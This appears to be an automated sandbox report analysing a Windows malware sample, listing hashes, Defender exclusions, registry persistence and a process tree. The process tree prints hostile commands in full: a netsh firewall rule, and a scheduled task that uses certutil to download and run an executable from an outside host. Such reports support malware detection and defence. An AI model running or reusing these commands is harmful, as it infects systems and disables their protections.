Analysis
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max time kernel
28s -
max time network
150s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
09-11-2020 19:50
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe
Resource
win7v20201028
Behavioral task
behavioral2
Sample
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe
Resource
win10v20201028
General
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Target
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe
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Size
3.9MB
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MD5
2f485931b93476f0c395a2b8a14bbad2
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SHA1
e07ee281b0175ce23d93145d583fc9da038ec7e6
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SHA256
37c78d45542b2109dcf160591e570469946ffcdfb5042cede4671eef5543c5c9
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SHA512
f131c01ecdd153732e79e1d996d57a1aaff073f9844b1a5615c1990b730e67ae614e7fca7a00d48e2971d5b016ab7a82104890c657f1cb792bfa7f13f3d2b112
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
Processes:
csrss.exepatch.exepid process 560 csrss.exe 1256 patch.exe -
Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 8 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exepatch.exepid process 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe 840 1256 patch.exe 1256 patch.exe 1256 patch.exe 1256 patch.exe 1256 patch.exe -
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exedescription ioc process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\cc32a828c4ee\cc32a828c4ee = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\PatientDust = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\cc32a828c4ee.exe = "0" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Windows\CurrentVersion\Run\PatientDust = "\"C:\\Windows\\rss\\csrss.exe\"" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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JavaScript code in executable 3 IoCs
Processes:
resource yara_rule \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe js -
Modifies service 2 TTPs 5 IoCs
Processes:
netsh.exedescription ioc process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\Enroll\HcsGroups netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Shas netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\Qecs netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\napagent\LocalConfig\UI netsh.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\NapAgent\LocalConfig netsh.exe -
Drops file in Windows directory 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exedescription ioc process File opened for modification C:\Windows\rss SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe File created C:\Windows\rss\csrss.exe SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 237 IoCs
Processes:
netsh.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.execsrss.exedescription ioc process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\napipsec.dll,-4 = "1.0" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-892 = "Morocco Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1042 = "Ulaanbaatar Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot csrss.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-32 = "Mid-Atlantic Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-691 = "Tasmania Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-891 = "Morocco Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-371 = "Jerusalem Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-532 = "Sri Lanka Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-365 = "Middle East Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-372 = "Jerusalem Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-191 = "Mountain Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-932 = "Coordinated Universal Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-291 = "Central European Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-502 = "Nepal Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-215 = "Pacific Standard Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-21 = "Cape Verde Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-271 = "Greenwich Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-272 = "Greenwich Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-422 = "Russian Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-342 = "Egypt Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-382 = "South Africa Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-961 = "Paraguay Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\@%SystemRoot%\system32\dhcpqec.dll,-101 = "Provides DHCP based enforcement for NAP" netsh.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\trust\Certificates csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-402 = "Arabic Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-731 = "Fiji Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-71 = "Newfoundland Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-631 = "Tokyo Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-171 = "Central Daylight Time (Mexico)" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-911 = "Mauritius Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-581 = "North Asia East Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-551 = "North Asia Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-831 = "SA Eastern Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs csrss.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-512 = "Central Asia Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-411 = "E. Africa Daylight Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-1022 = "Bangladesh Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Classes\Local Settings\MuiCache\25\52C64B7E\C:\Windows\system32\,@tzres.dll,-492 = "India Standard Time" SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\Certificates csrss.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exeSecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exepid process 1912 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.execsrss.exedescription pid process Token: SeDebugPrivilege 1912 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Token: SeImpersonatePrivilege 1912 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe Token: SeSystemEnvironmentPrivilege 560 csrss.exe -
Suspicious use of WriteProcessMemory 11 IoCs
Processes:
SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.execmd.exedescription pid process target process PID 1100 wrote to memory of 1780 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe cmd.exe PID 1100 wrote to memory of 1780 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe cmd.exe PID 1100 wrote to memory of 1780 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe cmd.exe PID 1100 wrote to memory of 1780 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe cmd.exe PID 1780 wrote to memory of 756 1780 cmd.exe netsh.exe PID 1780 wrote to memory of 756 1780 cmd.exe netsh.exe PID 1780 wrote to memory of 756 1780 cmd.exe netsh.exe PID 1100 wrote to memory of 560 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe csrss.exe PID 1100 wrote to memory of 560 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe csrss.exe PID 1100 wrote to memory of 560 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe csrss.exe PID 1100 wrote to memory of 560 1100 SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe csrss.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.BehavesLike.Win32.Generic.wc.26773.exe"2⤵
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies service
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
2f485931b93476f0c395a2b8a14bbad2
SHA1e07ee281b0175ce23d93145d583fc9da038ec7e6
SHA25637c78d45542b2109dcf160591e570469946ffcdfb5042cede4671eef5543c5c9
SHA512f131c01ecdd153732e79e1d996d57a1aaff073f9844b1a5615c1990b730e67ae614e7fca7a00d48e2971d5b016ab7a82104890c657f1cb792bfa7f13f3d2b112
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\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
1afff8d5352aecef2ecd47ffa02d7f7d
SHA18b115b84efdb3a1b87f750d35822b2609e665bef
SHA256c41acc53cde89b94d55d6932ddd55a212ba910e1fade3da138670bb5b18ae4e1
SHA512e5dc54c60be702e11772dc729eec5ec7140f293545aa3d57282adacddf686483393b0c940bbd397a9d50a6cda093865b143ae00c51ce3bf5d6b00241f97b3cdb
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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\Windows\rss\csrss.exeMD5
2f485931b93476f0c395a2b8a14bbad2
SHA1e07ee281b0175ce23d93145d583fc9da038ec7e6
SHA25637c78d45542b2109dcf160591e570469946ffcdfb5042cede4671eef5543c5c9
SHA512f131c01ecdd153732e79e1d996d57a1aaff073f9844b1a5615c1990b730e67ae614e7fca7a00d48e2971d5b016ab7a82104890c657f1cb792bfa7f13f3d2b112
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\Windows\rss\csrss.exeMD5
2f485931b93476f0c395a2b8a14bbad2
SHA1e07ee281b0175ce23d93145d583fc9da038ec7e6
SHA25637c78d45542b2109dcf160591e570469946ffcdfb5042cede4671eef5543c5c9
SHA512f131c01ecdd153732e79e1d996d57a1aaff073f9844b1a5615c1990b730e67ae614e7fca7a00d48e2971d5b016ab7a82104890c657f1cb792bfa7f13f3d2b112
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memory/560-10-0x0000000000000000-mapping.dmp
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memory/560-12-0x0000000004B80000-0x0000000004F27000-memory.dmpFilesize
3.7MB
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memory/560-13-0x0000000004F30000-0x0000000004F41000-memory.dmpFilesize
68KB
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memory/756-7-0x0000000000000000-mapping.dmp
